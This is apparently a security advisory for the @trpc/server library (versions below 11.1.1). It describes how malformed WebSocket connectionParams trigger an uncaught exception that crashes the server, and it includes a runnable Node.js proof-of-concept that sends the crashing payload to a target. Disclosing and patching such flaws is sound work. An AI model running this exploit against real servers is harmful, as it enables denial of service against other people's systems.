Uncaught Exception Affecting @trpc/server package, versions <11.1.1

@trpc/server is a The tRPC server library

Affected versions of this package are vulnerable to Uncaught Exception via the createCtxPromise function. An attacker can cause the server to crash by sending malformed connectionParams during the WebSocket connection setup. Specifically, the parseConnectionParams function throws an error for malformed input, which is caught but then incorrectly re-thrown within the WebSocket adapter's createCtxPromise function. This re-thrown error becomes an uncaught exception in the WebSocket message event context, leading to the termination of the entire tRPC server process.

Note: This is only exploitable if the server has WebSockets enabled and uses the createContext method.

#!/usr/bin/env node

const TARGET = 'ws://localhost:3000'

// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation
const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({
  method: "connectionParams",
  data: { invalidConnectionParams: null },
});

// Open a connection to the target
const target = `${TARGET}?connectionParams=1`;
console.log(`Opening a WebSocket to ${target}`);
const socket = new WebSocket(target);

// Wait for the connection to be established
socket.addEventListener("open", () => {
  console.log("WebSocket established!");

  // Sends a message to the WebSocket server.
  console.log(`Sending malicious connectionParams`);
  socket.send(MALICIOUS_CONNECTION_PARAMS);
  console.log(`Done!`);
});

// Handle errors
socket.addEventListener("error", () => console.log("Error opening WebSocket"));

• GitHub Commit
• GitHub PR
• POC
• Vulnerable Code